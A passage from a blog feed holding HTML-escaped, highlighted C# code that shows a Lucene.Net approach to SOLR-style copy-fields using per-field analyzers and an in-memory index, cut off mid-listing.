this.second = second;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;386&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;387&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;388&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override int Peek()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;389&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;390&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (readFirst)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;391&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;392&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                return first.Peek();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;393&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;394&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;395&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;396&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                return second.Peek();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;397&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;398&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;399&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;400&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override int Read()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;401&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;402&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (readFirst)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;403&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;404&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                int value = first.Read();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;405&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                if (value == -1)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;406&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;407&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                    readFirst = false;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;408&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;409&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;410&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;411&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                    return value;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;412&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;413&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;414&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            return second.Read();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;415&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;416&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;417&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        public override void Close()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;418&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;419&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            first.Close();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;420&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            second.Close();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;421&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;422&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;423&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        protected override void Dispose(bool disposing)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;424&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;425&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            base.Dispose(disposing);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;426&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            if (disposing)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;427&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            {&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;428&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                first.Dispose();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;429&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//                second.Dispose();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;430&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//            }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;431&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//        }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;432&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//    }&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;433&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;//}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;434&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is available as a Gist here: &lt;a href=&#34;https://gist.github.com/thoward/744444&#34;&gt;https://gist.github.com/thoward/744444&lt;/a&gt;&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Someone asked in the Lucene.Net mailing list about implementing something similar to SOLR&#39;s copy-fields.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s a basic example of how to do something like that in a Lucene.Net Index.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Linq&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Analysis&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Analysis.Standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Documents&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.QueryParsers&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Search&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MultiTokenStreamExample&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;This is some content. 123 is a number. 456 is also a number.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric_content&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;789 this is normal text&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StandardAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Lucene&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Net&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Util&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Version&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LUCENE_29&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;numeric_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// typical index creation &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RAMDirectory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MaxFieldLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UNLIMITED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; 